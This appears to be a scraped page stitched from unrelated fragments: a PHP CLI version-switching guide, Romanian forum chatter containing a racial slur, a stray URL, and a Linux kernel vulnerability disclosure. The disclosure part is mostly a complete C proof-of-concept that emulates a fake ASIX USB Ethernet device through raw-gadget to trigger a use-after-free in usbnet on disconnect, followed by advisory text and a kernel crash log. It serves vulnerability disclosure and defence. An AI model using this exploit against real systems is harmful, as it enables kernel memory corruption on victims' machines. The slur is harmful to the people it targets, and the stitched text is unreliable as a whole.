php.1.gz is /usr/share/man/man1/php.1.gz /usr/bin/php7.3 - priority 73 slave php.1.gz: /usr/share/man/man1/php7.3.1.gz /usr/bin/php7.4 - priority 74 slave php.1.gz: /usr/share/man/man1/php7.4.1.gz /usr/bin/php8.0 - priority 80 slave php.1.gz: /usr/share/man/man1/php8.0.1.gz /usr/bin/php8.1 - priority 81 slave php.1.gz: /usr/share/man/man1/php8.1.1.gz root@servername:~# Changing Your CLI PHP Version on Nginx or OpenLiteSpeed STEP 1. SET YOUR PREFERRED CLI PHP VERSION Run the following command to change the PHP CLI version: sudo update-alternatives --set php /usr/bin/phpX.X X.X = the version number, for example: 7.4, 8.0, 8.1. For example: sudo update-alternatives --set php /usr/bin/php7.4 STEP 2. MAKE THE CHANGE PERSIST Our systems check for a token file for the CLI PHP version. If it’s not present, your changes will be reverted. Create the token file with: /root/preferred_php_cli.version Add the PHP version – number only. For example: 7.4 Now save the file with CTRL+O followed by Enter. Exit nano with CTRL+X. Source

Thumbs up ^ Am cumparat recent un U.S. Navy cu deschidere colet, ulterior, se intampla urmatoarele: app facebook app instagram app yahoo... Bateria de un Kg. am observat ca nu rezista mai mult de cateva h, n fine made in china cu alte cuvinte Asa ca lasati-ma cu olx si puybli24 c-am sunat de proba si era o cioara de n-o ardeau nici mortii

Nu stiu unde se incadreaza, e.g: Q: A: Q: A: URL: https://alpaca-ai-custom3.ngrok.io

Pe un nokia 3310 spuse un tovaras, "pune alarma sa sune intr-un minut, inchide telefonul si suna alarma" testat. La fel si cu bateria din bios taskbar vreau sa aflu altceva. Merci

Linux USB usbnet tells minidrivers to unbind while netdev is still up, causing use-after-free conditions. Download: GS20230313141819.tgz (10.7 KB) Mirror: usb-ax88172a.c // roughly based off https://github.com/xairy/raw-gadget/blob/master/examples/keyboard.c // NOTE: this is playing fast-and-loose with endianness, it'll break on big-endian systems. #include <err.h> #include <signal.h> #include <stdbool.h> #include <assert.h> #include <alloca.h> #include <errno.h> #include <unistd.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/usb/cdc.h> #include <linux/usb/raw_gadget.h> #include <linux/mii.h> #include <linux/mdio.h> #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ err(1, "SYSCHK(" #x ")"); \ __res; \ }) static int usb_fd; #define errx(code, ...) { printf(__VA_ARGS__); printf("\n"); while (1) pause(); } struct usb_raw_control_event { struct usb_raw_event inner; struct usb_ctrlrequest ctrl; }; static struct usb_device_descriptor usb_device = { .bLength = USB_DT_DEVICE_SIZE, .bDescriptorType = USB_DT_DEVICE, .bcdUSB = __constant_cpu_to_le16(0x0200), /* USB 2.0 */ .bDeviceClass = __constant_cpu_to_le16(USB_CLASS_COMM), // is this even used? .bMaxPacketSize0 = 64, /* maximum value the kernel lets us use */ /* "We are a very legit..." (checks notes) "ASIX 88172a demo board" (looks * back up) "and would like to help you get connected to the network!" */ .idVendor = __constant_cpu_to_le16(0x0b95), .idProduct = __constant_cpu_to_le16(0x172a), .iManufacturer = 1, .iProduct = 2, .iSerialNumber = 3, .bNumConfigurations = 1 }; struct usb_config_descriptor usb_config = { .bLength = USB_DT_CONFIG_SIZE, .bDescriptorType = USB_DT_CONFIG, .wTotalLength = 0, // fixed up later .bNumInterfaces = 1, .bConfigurationValue = 1, .iConfiguration = 4, .bmAttributes = USB_CONFIG_ATT_ONE |// must be set USB_CONFIG_ATT_SELFPOWER, .bMaxPower = 0 // no power draw from host }; struct usb_interface_descriptor usb_interface = { .bLength = USB_DT_INTERFACE_SIZE, .bDescriptorType = USB_DT_INTERFACE, .bInterfaceNumber = 0, .bAlternateSetting = 0, .bNumEndpoints = 3, .bInterfaceClass = USB_CLASS_COMM, // ? .bInterfaceSubClass = USB_CDC_SUBCLASS_ETHERNET, .bInterfaceProtocol = USB_CDC_PROTO_NONE, .iInterface = 5, }; struct usb_endpoint_descriptor usb_endpoint_in = { .bLength = USB_DT_ENDPOINT_SIZE, .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = USB_DIR_IN | 1, .bmAttributes = USB_ENDPOINT_XFER_BULK, .wMaxPacketSize = 512, //.bInterval = 1 }; struct usb_endpoint_descriptor usb_endpoint_out = { .bLength = USB_DT_ENDPOINT_SIZE, .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = USB_DIR_OUT | 1, .bmAttributes = USB_ENDPOINT_XFER_BULK, .wMaxPacketSize = 512, //.bInterval = 1 }; struct usb_endpoint_descriptor usb_endpoint_intr = { .bLength = USB_DT_ENDPOINT_SIZE, .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = USB_DIR_IN | 2, .bmAttributes = USB_ENDPOINT_XFER_INT, .wMaxPacketSize = 8, .bInterval = 1 }; unsigned short intr_handle; void usb_reply(void *data, size_t len, size_t req_length) { printf(" REPLY: size %lu, req_length %lu\n", (unsigned long)len, (unsigned long)req_length); if (len > req_length) len = req_length; struct usb_raw_ep_io *io = alloca(sizeof(struct usb_raw_ep_io)+len); io->ep = 0; io->flags = 0; io->length = len; memcpy(io->data, data, len); SYSCHK(ioctl(usb_fd, USB_RAW_IOCTL_EP0_WRITE, io)); } void usb_reply_zero(size_t req_length) { char *data = alloca(req_length); memset(data, '\0', req_length); usb_reply(data, req_length, req_length); } void usb_get_and_ack(void *buf, size_t len, size_t req_length) { printf(" ACK OUT: req_length %lu\n", (unsigned long)req_length); struct usb_raw_ep_io *io = alloca(sizeof(struct usb_raw_ep_io)+req_length); memset(io, 0xee, sizeof(struct usb_raw_ep_io)+req_length); io->ep = 0; io->flags = 0; io->length = req_length; //printf("issuing USB_RAW_IOCTL_EP0_READ with io->length=%u\n", io->length); int ret_len = SYSCHK(ioctl(usb_fd, USB_RAW_IOCTL_EP0_READ, io)); assert(ret_len == req_length); if (buf) { if (len > req_length) { memset(buf, '\0', len); len = req_length; } memcpy(buf, ((char*)io)+sizeof(struct usb_raw_ep_io), len); } } void usb_ack(size_t req_length) { usb_get_and_ack(NULL, 0, req_length); } void descr_append(void *buf, size_t *buf_len, void *descr, size_t descr_len) { printf(" descr_append(buf, len, descr, descr_len=%lu with first byte %hhu\n", (unsigned long)descr_len, *(unsigned char *)descr); assert(descr_len <= 255); assert(descr_len >= 2); assert(((unsigned char*)descr)[0] == descr_len); memcpy(buf + *buf_len, descr, descr_len); (*buf_len) += descr_len; ((struct usb_config_descriptor*)buf)->wTotalLength = __cpu_to_le16(*buf_len); } int state = 0; void handle_alarm(int sig) { if (state == 0) state = 1; } int main(int argc, char **argv) { setbuf(stdout, NULL); setbuf(stderr, NULL); usb_fd = SYSCHK(open("/dev/raw-gadget", O_RDWR)); struct usb_raw_init init_args = { .speed = USB_SPEED_HIGH }; strcpy(init_args.driver_name, argv[1]); strcpy(init_args.device_name, argv[2]); SYSCHK(ioctl(usb_fd, USB_RAW_IOCTL_INIT, &init_args)); SYSCHK(ioctl(usb_fd, USB_RAW_IOCTL_RUN, 0)); struct sigaction alarm_act = { .sa_handler = handle_alarm, .sa_flags = 0 }; if (sigaction(SIGALRM, &alarm_act, NULL)) err(1, "sigaction"); //alarm(30); while (1) { if (state == 1) { printf("===================== BRINGING LINK UP =====================\n"); state = 2; struct { struct usb_raw_ep_io io; struct { /*ax88172_int_data*/ unsigned short res1; unsigned char link; unsigned short res2; unsigned char status; unsigned short res3; unsigned int intdata2; } __attribute__((packed)) data; } io_with_data = { .io = { .ep = intr_handle, .flags = 0, .length = sizeof(io_with_data.data) }, .data = { .link = 1 } }; SYSCHK(ioctl(usb_fd, USB_RAW_IOCTL_EP_WRITE, &io_with_data)); /* close(usb_fd); exit(0); */ } struct usb_raw_control_event control_ev = { .inner = { .type = 0, .length = sizeof(control_ev.ctrl) } }; int res = ioctl(usb_fd, USB_RAW_IOCTL_EVENT_FETCH, &control_ev); if (res == -1) { if (errno == EINTR) continue; err(1, "USB_RAW_IOCTL_EVENT_FETCH"); } if (control_ev.inner.type == USB_RAW_EVENT_CONNECT) { // nothing to do } else if (control_ev.inner.type == USB_RAW_EVENT_CONTROL) { unsigned req_length = __le16_to_cpu(control_ev.ctrl.wLength); bool is_dir_in = (control_ev.ctrl.bRequestType & USB_DIR_IN) != 0; printf("got control (in=%d, wLength=%u):\n", is_dir_in, req_length); switch (control_ev.ctrl.bRequestType & USB_TYPE_MASK) { case USB_TYPE_STANDARD: switch(control_ev.ctrl.bRequest) { case USB_REQ_GET_DESCRIPTOR: { unsigned descriptor_type = control_ev.ctrl.wValue >> 8; switch (descriptor_type) { case USB_DT_DEVICE: printf(" getting device descriptor\n"); usb_reply(&usb_device, sizeof(usb_device), req_length); break; case USB_DT_CONFIG: { printf(" getting dt config\n"); char dt_config[1024*128]; size_t dt_config_len = 0; descr_append(dt_config, &dt_config_len, &usb_config, sizeof(usb_config)); descr_append(dt_config, &dt_config_len, &usb_interface, sizeof(usb_interface)); descr_append(dt_config, &dt_config_len, &usb_endpoint_in, USB_DT_ENDPOINT_SIZE); descr_append(dt_config, &dt_config_len, &usb_endpoint_out, USB_DT_ENDPOINT_SIZE); descr_append(dt_config, &dt_config_len, &usb_endpoint_intr, USB_DT_ENDPOINT_SIZE); usb_reply(dt_config, dt_config_len, req_length); } break; case USB_DT_STRING: { unsigned string_id = control_ev.ctrl.wValue & 0xff; printf(" getting string %d\n", string_id); if (string_id == 0) { unsigned char string_descr[] = { 4/*length*/, USB_DT_STRING, 0x09, 0x04 /* English - United States */ }; usb_reply(string_descr, sizeof(string_descr), req_length); } else { unsigned char string_descr[] = { 12/*length*/, USB_DT_STRING, 'D',0,'U',0,'M',0,'M',0,'Y',0 }; usb_reply(string_descr, sizeof(string_descr), req_length); } } break; default: errx(1, "USB_REQ_GET_DESCRIPTOR: descriptor_type=%x", descriptor_type); } } break; case USB_REQ_SET_CONFIGURATION: { printf(" set configuration\n"); SYSCHK(ioctl(usb_fd, USB_RAW_IOCTL_EP_ENABLE, &usb_endpoint_in)); SYSCHK(ioctl(usb_fd, USB_RAW_IOCTL_EP_ENABLE, &usb_endpoint_out)); intr_handle = SYSCHK(ioctl(usb_fd, USB_RAW_IOCTL_EP_ENABLE, &usb_endpoint_intr)); SYSCHK(ioctl(usb_fd, USB_RAW_IOCTL_CONFIGURE, 0)); usb_ack(req_length); } break; case USB_REQ_SET_INTERFACE: { printf(" set interface\n"); usb_ack(req_length); } break; default: errx(1, "unknown standard ctrlrequest 0x%x", (unsigned)control_ev.ctrl.bRequest); } break; case USB_TYPE_CLASS: errx(1, "unknown class ctrlrequest"); case USB_TYPE_VENDOR: printf(" vendor ctrlrequest bRequest=0x%02hhx wValue=0x%04hx wIndex=0x%04hx wLength=0x%04hx\n", control_ev.ctrl.bRequest, control_ev.ctrl.wValue, control_ev.ctrl.wIndex, control_ev.ctrl.wLength); if (!is_dir_in) { usb_ack(req_length); continue; } switch (control_ev.ctrl.bRequest) { #if 1 case 0x01/*AX_ACCESS_MAC*/: { static unsigned char srom_addr; static const unsigned short ledvalue = (1<<15/*LED_VALID*/); printf(" AX_ACCESS_MAC\n"); switch (control_ev.ctrl.wValue) { case 0x02/*PHYSICAL_LINK_STATUS*/: { printf(" PHYSICAL_LINK_STATUS\n"); /* Linux checks AX_USB_SS and AX_USB_HS, influences URB size: * ->rx_urb_size * can be 0x5000 / 0x6000 / 0x6800 / 0x6800 * We prefer the smallest one (0x5000), which we get from * setting AX_USB_SS plus GMII_PHY_PHYSR_GIGA. */ unsigned char pl_status = 0x04; /*AX_USB_SS*/ usb_reply(&pl_status, sizeof(pl_status), req_length); } break; case 0x03/*GENERAL_STATUS*/: { printf(" GENERAL_STATUS\n"); unsigned short general_status = __cpu_to_le16(0x04/*AX_SECLD*/); usb_reply(&general_status, 2, req_length); } break; case 0x07/*AX_SROM_ADDR*/: { printf(" AX_SROM_ADDR\n"); usb_get_and_ack(&srom_addr, 1, req_length); printf(" SROM address: 0x%hhx\n", srom_addr); } break; case 0x08/*AX_SROM_DATA_LOW*/: { printf(" AX_SROM_DATA_LOW from 0x%hhx\n", srom_addr); if (srom_addr < 6) { unsigned char eeprom_head[12] = { /*0-5*/0, 0, 0, 0, 0, 0, // dontcare (first must not be FF) /*6-9*/0, 0, 0, 0, // checksummed /*10*/0xff // checksum }; usb_reply(eeprom_head + srom_addr*2, 2, req_length); } else if (srom_addr == 0x42) { unsigned char b = 8 & 0xff; usb_reply(&b, 1, req_length); } else { errx(1, "unhandled SROM range"); } } break; case 0x09/*AX_SROM_DATA_HIGH*/: { printf(" AX_SROM_DATA_HIGH from 0x%hhx\n", srom_addr); if (srom_addr == 0x42) { unsigned char b = ledvalue >> 8; usb_reply(&b, 1, req_length); } else { errx(1, "unhandled SROM range"); } } break; case 0x0a/*AX_SROM_CMD*/: { printf(" AX_SROM_CMD\n"); if (is_dir_in) { unsigned char value = 0; // EEP_BUSY would spin until timeout usb_reply(&value, 1, req_length); } else { usb_ack(req_length); } } break; case 0x0b/*AX_RX_CTL*/: { unsigned short ax_rx_ctl_value; usb_get_and_ack(&ax_rx_ctl_value, sizeof(ax_rx_ctl_value), req_length); printf(" AX_RX_CTL = 0x%04hx ################\n", ax_rx_ctl_value); } break; case 0x16/*AX_MULFLTARY*/: { printf(" AX_MULFLTARY ||||||||||||||||||||||||||||||||||||||||||\n"); usb_ack(req_length); if (state == 0) state = 1; } break; case 0x22/*AX_MEDIUM_STATUS_MODE*/: { printf(" AX_MEDIUM_STATUS_MODE\n"); usb_ack(req_length); } break; case 0x24/*AX_MONITOR_MOD*/: { printf(" AX_MONITOR_MOD\n"); usb_ack(req_length); } break; case 0x26/*AX_PHYPWR_RSTCTL*/: { printf(" AX_PHYPWR_RSTCTL\n"); usb_ack(req_length); } break; case 0x2e/*AX_RX_BULKIN_QCTRL*/: { printf(" AX_RX_BULKIN_QCTRL\n"); usb_ack(req_length); } break; case 0x34/*AX_RXCOE_CTL*/: { printf(" AX_RXCOE_CTL\n"); usb_ack(req_length); } break; case 0x35/*AX_TXCOE_CTL*/: { printf(" AX_TXCOE_CTL\n"); usb_ack(req_length); } break; case 0x54/*AX_PAUSE_WATERLVL_HIGH*/: { printf(" AX_PAUSE_WATERLVL_HIGH\n"); usb_ack(req_length); } break; case 0x55/*AX_PAUSE_WATERLVL_LOW*/: { printf(" AX_PAUSE_WATERLVL_LOW\n"); usb_ack(req_length); } break; case 0x73/*AX_LEDCTRL*/: { printf(" AX_LEDCTRL\n"); usb_ack(req_length); } break; case 0x33/*AX_CLOCK_SELECT*/: { printf(" AX_CLOCK_SELECT\n"); usb_ack(req_length); } break; case 0x10/*AX_NODE_ID*/: { printf(" AX_NODE_ID\n"); if (is_dir_in) { unsigned char mac_addr[] = { 0x00, 0x12, 0x34, 0x56, 0x78, 0x90 }; usb_reply(mac_addr, sizeof(mac_addr), req_length); } else { usb_ack(req_length); } } break; default: if (is_dir_in) { errx(1, " unknown AX_ACCESS_MAC command 0x%02hhx", control_ev.ctrl.wValue); } else { printf(" ignoring unknown OUT AX_ACCESS_MAC command 0x%02hx\n", control_ev.ctrl.wValue); } } } break; case 0x02/*AX_ACCESS_PHY*/: { printf(" AX_ACCESS_PHY\n"); assert(control_ev.ctrl.wValue == 0x03/*AX88179_PHY_ID*/); static unsigned short mmd_id; static bool no_auto_increment; switch (control_ev.ctrl.wIndex) { case MII_BMCR: { /* Basic mode control register */ /* idk what any of these flags actually do in detail... */ printf(" MII_BMCR (basic mode control register)\n"); if (is_dir_in) { unsigned short bmcr_state = BMCR_SPEED1000 | BMCR_FULLDPLX; usb_reply(&bmcr_state, sizeof(bmcr_state), req_length); } else { usb_ack(req_length); } } break; case MII_MMD_CTRL: { printf(" MII_MMD_CTRL\n"); usb_get_and_ack(&mmd_id, 2, req_length); mmd_id &= ~0x4000; no_auto_increment = (mmd_id & 0x4000) != 0; printf(" set ID %d, no-auto-increment %d\n", mmd_id, no_auto_increment); } break; case MII_MMD_DATA: { printf(" MII_MMD_DATA (at ID %d)\n", mmd_id); if (is_dir_in) { switch (mmd_id) { case MDIO_MMD_PCS: printf(" Physical Coding Sublayer\n"); // decoded via mmd_eee_cap_to_ethtool_sup_t() unsigned short eee_caps = MDIO_EEE_1000T; usb_reply(&eee_caps, sizeof(eee_caps), req_length); break; case MDIO_MMD_AN: printf(" Auto-Negotiation\n"); // WARNING: this is actually used in two different // contexts unsigned short eee_adv = MDIO_EEE_1000T; usb_reply(&eee_adv, sizeof(eee_adv), req_length); break; default: errx(1, "unknown ID %d", mmd_id); } } else { usb_ack(req_length); } } break; case MII_PHYADDR: { printf(" MII_PHYADDR\n"); usb_ack(req_length); } break; case 0x11/*GMII_PHY_PHYSR*/: { printf(" MII_PHY_PHYSR\n"); unsigned short physr = 0x0400/*GMII_PHY_PHYSR_LINK*/ | 0x8000/*GMII_PHY_PHYSR_GIGA*/; usb_reply(&physr, sizeof(physr), req_length); } break; case 0x1a/*GMII_LED_ACT*/: { printf(" GMII_LED_ACT\n"); if (is_dir_in) { unsigned short ledact = 0; usb_reply(&ledact, sizeof(ledact), req_length); } else { usb_ack(req_length); } } break; case 0x1c/*GMII_LED_LINK*/: { printf(" GMII_LED_LINK\n"); if (is_dir_in) { unsigned short ledlink = 0; usb_reply(&ledlink, sizeof(ledlink), req_length); } else { usb_ack(req_length); } } break; case 0x1e/*GMII_PHYPAGE*/: { printf(" GMII_PHYPAGE\n"); usb_ack(req_length); } break; case 0x1f/*GMII_PHY_PAGE_SELECT*/: { printf(" GMII_PHY_PAGE_SELECT\n"); usb_ack(req_length); } break; default: errx(1, " unknown AX_ACCESS_PHY command 0x%02hhx", control_ev.ctrl.wIndex); } } break; case 0x04/*AX_ACCESS_PHY*/: { unsigned eeprom_idx = (unsigned)control_ev.ctrl.wValue; printf(" AX_ACCESS_EEPROM at 0x%x\n", eeprom_idx); if (is_dir_in) { printf(" EEPROM read\n"); switch (eeprom_idx) { case 0x43: {/* autodetach */ unsigned short autodetach = 0xffff; usb_reply(&autodetach, sizeof(autodetach), req_length); } break; default: errx(1, "unhandled EEPROM offset"); } } else { printf(" ignoring EEPROM write\n"); usb_ack(req_length); } } break; case 0x81: { printf(" 0x81 TX FIFO check\n"); unsigned int tx_fifo_state = 0; usb_reply(&tx_fifo_state, sizeof(tx_fifo_state), req_length); } break; #endif case 0x13/*AX_CMD_READ_NODE_ID*/: { unsigned char mac_addr[] = { 0x00, 0x12, 0x34, 0x56, 0x78, 0x90 }; usb_reply(mac_addr, sizeof(mac_addr), req_length); } break; case 0x21/*AX_CMD_SW_PHY_STATUS*/: case 0x1a/*AX_CMD_READ_MEDIUM_STATUS*/: case 0x0f/*AX_CMD_READ_RX_CTL*/: { usb_reply_zero(req_length); } break; case 0x19/*AX_CMD_READ_PHY_ID*/: { printf(" CMD_READ_PHY_ID\n"); unsigned short phy_id = 1; usb_reply(&phy_id, sizeof(phy_id), req_length); } break; case 0x09/*AX_CMD_STATMNGSTS_REG*/: { printf(" CMD_STATMNGSTS_REG\n"); unsigned char val = 0x01; /* AX_HOST_EN */ usb_reply(&val, sizeof(val), req_length); } break; case 0x07/*AX_CMD_READ_MII_REG*/: { printf(" CMD_READ_MII_REG\n"); /* unsigned char val = 0x01; usb_reply(&val, sizeof(val), req_length); */ switch (control_ev.ctrl.wIndex) { case MII_BMCR: { /* Basic mode control register */ /* idk what any of these flags actually do in detail... */ printf(" MII_BMCR (basic mode control register)\n"); unsigned short bmcr_state = BMCR_SPEED100 | BMCR_FULLDPLX; usb_reply(&bmcr_state, sizeof(bmcr_state), req_length); } break; case MII_BMSR: { /* Basic mode status register */ printf(" MII_BMSR (basic mode status register)\n"); /* say link is initially down */ unsigned short bmsr_state = ((state > 0) ? BMSR_LSTATUS : 0) | BMSR_100FULL; usb_reply(&bmsr_state, sizeof(bmsr_state), req_length); } break; case MII_ADVERTISE: { /* Advertisement control register */ printf(" MII_ADVERTISE\n"); unsigned short adv_state = ADVERTISE_100FULL; usb_reply(&adv_state, sizeof(adv_state), req_length); } break; case MII_LPA: { /* Link partner ability */ printf(" MII_LPA (Link partner ability)\n"); unsigned short lpa_state = LPA_100FULL; usb_reply(&lpa_state, sizeof(lpa_state), req_length); } break; case MII_PHYSID1: case MII_PHYSID2: { printf(" MII_PHYSID\n"); unsigned short physid = 1; usb_reply(&physid, sizeof(physid), req_length); } break; default: errx(1, " unknown READ_MII_REG command 0x%02hhx", control_ev.ctrl.wIndex); } } break; #if 0 case 0x10/*AX_CMD_WRITE_RX_CTL*/: { printf(" CMD_WRITE_RX_CTL = 0x%hx\n", control_ev.ctrl.wIndex); usb_ack(req_length); } break; case 0x16/*AX_CMD_WRITE_MULTI_FILTER*/: { printf(" CMD_WRITE_MULTI_FILTER\n"); usb_ack(req_length); } break; #endif default: if (is_dir_in) { errx(1, "unknown vendor ctrlrequest 0x%02hhx", control_ev.ctrl.bRequest); } else { printf(" ignoring unknown vendor ctrlrequest 0x%02hx\n", control_ev.ctrl.bRequest); usb_ack(req_length); } } break; default: errx(1, "USB_TYPE_* unknown"); } } else { printf("unknown event, type 0x%x\n", (unsigned)control_ev.inner.type); } } } advisory-info.txt Linux USB: usbnet tells minidrivers to unbind while netdev is still up, causing UAFs I've been digging more into the usbnet code, and it's all really brittle. I keep hitting random KASAN splats while I'm just trying to normally bring up drivers (mainly when my fake USB device can't handle some request yet and exits, which results in a USB disconnect, and apparently usbnet tends to blow up a lot in various ways if you disconnect before the device is fully up, at least on a kernel with CONFIG_RCU_STRICT_GRACE_PERIOD=y). One particularly easy-to-trigger bug was introduced by commit 2c9d6c2b871d (\"usbnet: run unbind() before unregister_netdev()\"), first in v5.14. Before that commit, the driver_info->unbind() callback was the last call to the minidriver during USB disconnect, and so one of the things some minidrivers do there is to free memory associated with the device. But after that commit, the semantics of driver_info->unbind() are completely different: It is called at a point where the networking subsystem **has no idea** yet that the device is going down. The netdev might still be up, or in the middle of going up, or going down, or whatever else netdevs do; and so it is still possible that e.g. userspace sends some netlink message that results in a call to the minidriver's ->reset method, and then e.g. aqc111_reset() will try to access its freed dev->driver_priv, and you get UAF. I looked at this more, and it turns out that with another minidriver, you don't even need to race to cause a UAF: Simply disconnecting a USB device when it is currently up will reliably cause a UAF. This is the case with the driver in drivers/net/usb/ax88172a.c (described as \"ASIX AX88172A USB 2.0 Ethernet\"), which is only used for the USB device ID of some demo board, nothing else: /* ASIX 88172a demo board */ USB_DEVICE(0x0b95, 0x172a), .driver_info = (unsigned long) &ax88172a_info, (Even though this driver is only used for talking to some demo board, it is enabled in kconfig together with all the other ASIX devices using kconfig flag CONFIG_USB_NET_AX8817X, which is enabled on many kernels, including Debian, some Android kernels and Chrome OS. Android and Chrome OS are probably not affected by this one though, since they run sufficiently old kernels...) The call graph of how the UAF happens: usbnet_disconnect ax88172a_unbind (as driver_info->unbind) kfree(dev->driver_priv) unregister_netdev unregister_netdevice unregister_netdevice_queue unregister_netdevice_many dev_close_many __dev_close_many usbnet_stop (as ops->ndo_stop) ax88172a_stop (as driver_info->stop) [UAF access to dev->driver_priv] The driver_info->stop() handler tries to access data that was freed in driver_info->unbind(). This makes it pretty clear that the reordering in commit 2c9d6c2b871d broke stuff. I have no clue how to fix all this though. From what I can tell, there are two points during usbnet_disconnect() where the minidriver might want to get a callback: - When ->ndo_close() is invoked by the netdev code; at that point, the netdev is definitely down but hasn't been completely torn down yet. usbnet doesn't currently use ->ndo_open/->ndo_close at all. - In the spot where the driver_info->unbind callback used to happen before commit 2c9d6c2b871d. But I have no clue whether we need one or both of these, and which of the things the current ->unbind callbacks do have to happen at what time. commit 2c9d6c2b871d claims that the current ->unbind callback is too late for the minidriver to disconnect PHY, so I guess that should probably happen in ->ndo_close()? Maybe? This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-05-19. ==== kernel splats and reproduction instructions ==== On a system running a normal Debian experimental kernel (version 5.17.0-rc3-amd64 #1 Debian 5.17~rc3-1~exp1), this also happens. With slub_debug=PF (to make SLUB poison freed memory and do some extra consistency checks to make UAFs easier to see), I get this in dmesg when I attach a fake USB device (over real USB, using a NET2380 USB device-side controller on another machine), wait for a few seconds so that it can be brought up completely, and then disconnect it: [ 138.697877] usb 1-2: new high-speed USB device number 3 using xhci_hcd [ 138.852315] usb 1-2: New USB device found, idVendor=0b95, idProduct=172a, bcdDevice= 0.00 [ 138.856972] usb 1-2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 138.861557] usb 1-2: Product: DUMMY [ 138.866016] usb 1-2: Manufacturer: DUMMY [ 138.870312] usb 1-2: SerialNumber: DUMMY [ 139.403344] asix 1-2:1.0 (unnamed net_device) (uninitialized): registered mdio bus usb-001:003 [ 139.404897] asix 1-2:1.0 eth1: register 'asix' at usb-0000:00:14.0-2, ASIX AX88172A USB 2.0 Ethernet, 00:12:34:56:78:90 [ 139.406292] usbcore: registered new interface driver asix [ 139.408747] usbcore: registered new interface driver cdc_ether [ 139.481399] asix 1-2:1.0 enx001234567890: renamed from eth1 [ 140.150427] asix 1-2:1.0 enx001234567890: Connected to phy usb-001:003:00 [ 149.299153] usb 1-2: USB disconnect, device number 3 [ 149.303077] asix 1-2:1.0 enx001234567890: unregister 'asix' usb-0000:00:14.0-2, ASIX AX88172A USB 2.0 Ethernet [ 149.306775] asix 1-2:1.0 enx001234567890: deregistering mdio bus usb-001:003 [ 149.314206] asix 1-2:1.0 enx001234567890: Disconnecting from phy kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk\\xa5%!LhH\\xf2/\\xa1ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ\\x80\\xe5W\\xe1\\xf9\\x99\\xff\\xff\\xe0#\u0561\\xff\\xff\\xff\\xff\\x80t\\xf0\\xc0\\xff\\xff\\xff\\xff\\x98XW\\x82\\xf9\\x99\\xff\\xff\\x80\\xb9[\\xe1\\xf9\\x99\\xff\\xff [ 149.315731] general protection fault, probably for non-canonical address 0x6b6b6b6b6b6b6f43: 0000 [#1] PREEMPT SMP PTI [ 149.317234] CPU: 4 PID: 105 Comm: kworker/4:1 Tainted: G E 5.17.0-rc3-amd64 #1 Debian 5.17~rc3-1~exp1 [ 149.318815] Hardware name: [...] [ 149.320214] Workqueue: usb_hub_wq hub_event [usbcore] [ 149.321030] RIP: 0010:phy_stop+0x9/0xf0 [libphy] [ 149.321835] Code: 02 e0 eb d4 48 8b 0c dd 20 ed b9 c0 e9 33 ff ff ff 4c 89 f7 e8 68 a3 fa df eb c6 e8 11 ff 1a e0 90 0f 1f 44 00 00 41 54 55 53 <8b> 87 d8 03 00 00 4c 8b a7 28 05 00 00 8d 50 ff 83 fa 01 0f 86 af [ 149.322714] RSP: 0018:ffffb68a807efa58 EFLAGS: 00010246 [ 149.323560] RAX: 0000000000000000 RBX: ffff99f9e168e980 RCX: 0000000000000000 [ 149.324405] RDX: ffffb68a807efa08 RSI: ffffffffa15526f6 RDI: 6b6b6b6b6b6b6b6b [ 149.325251] RBP: ffff99f9e15bbb80 R08: 0000000000000000 R09: ffffb68a807ef758 [ 149.326128] R10: ffffb68a807ef750 R11: ffffffffa1cd1568 R12: 0000000000000000 [ 149.326965] R13: ffff99f9e168e980 R14: ffffb68a807efad0 R15: ffffb68a807efba0 [ 149.327800] FS: 0000000000000000(0000) GS:ffff99fc8f700000(0000) knlGS:0000000000000000 [ 149.328641] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 149.329482] CR2: 00007fc2351ba6f4 CR3: 00000002fb410001 CR4: 00000000001706e0 [ 149.330352] Call Trace: [ 149.331198] <TASK> [ 149.332030] ax88172a_stop.cold+0x20/0x2e [asix] [ 149.332857] usbnet_stop+0x64/0x140 [usbnet] [ 149.333676] __dev_close_many+0x9e/0x110 [ 149.334512] dev_close_many+0x8b/0x140 [ 149.335295] ? __slab_free+0xa0/0x330 [ 149.336059] unregister_netdevice_many+0x158/0x740 [ 149.336816] ? kfree+0x218/0x250 [ 149.337573] unregister_netdevice_queue+0xcb/0x110 [ 149.338361] unregister_netdev+0x18/0x20 [ 149.339112] usbnet_disconnect+0x59/0xb0 [usbnet] [ 149.339864] usb_unbind_interface+0x8a/0x270 [usbcore] [ 149.340616] __device_release_driver+0x22d/0x240 [ 149.341358] device_release_driver+0x24/0x30 [ 149.342112] bus_remove_device+0xd8/0x140 [ 149.342840] device_del+0x18b/0x3f0 [ 149.343573] ? kobject_put+0x91/0x1d0 [ 149.344307] usb_disable_device+0xc6/0x1e0 [usbcore] [ 149.345056] usb_disconnect.cold+0x7b/0x24d [usbcore] [ 149.345802] hub_event+0xc4c/0x1880 [usbcore] [ 149.346571] ? preempt_count_sub+0x81/0x90 [ 149.347313] process_one_work+0x1e5/0x3b0 [ 149.348055] ? rescuer_thread+0x370/0x370 [ 149.348795] worker_thread+0x50/0x3a0 [ 149.349531] ? rescuer_thread+0x370/0x370 [ 149.350292] kthread+0xe7/0x110 [ 149.351030] ? kthread_complete_and_exit+0x20/0x20 [ 149.351771] ret_from_fork+0x22/0x30 [ 149.352504] </TASK> [ 149.353234] Modules linked in: cdc_ether(E) asix(E) selftests(E) usbnet(E) mii(E) nfnetlink(E) rfkill(E) zstd(E) zstd_compress(E) zram(E) zsmalloc(E) intel_rapl_msr(E) intel_rapl_common(E) x86_pkg_temp_thermal(E) intel_powerclamp(E) coretemp(E) nls_ascii(E) nls_cp437(E) vfat(E) snd_hda_codec_realtek(E) kvm_intel(E) fat(E) snd_hda_codec_generic(E) snd_hda_codec_hdmi(E) ledtrig_audio(E) 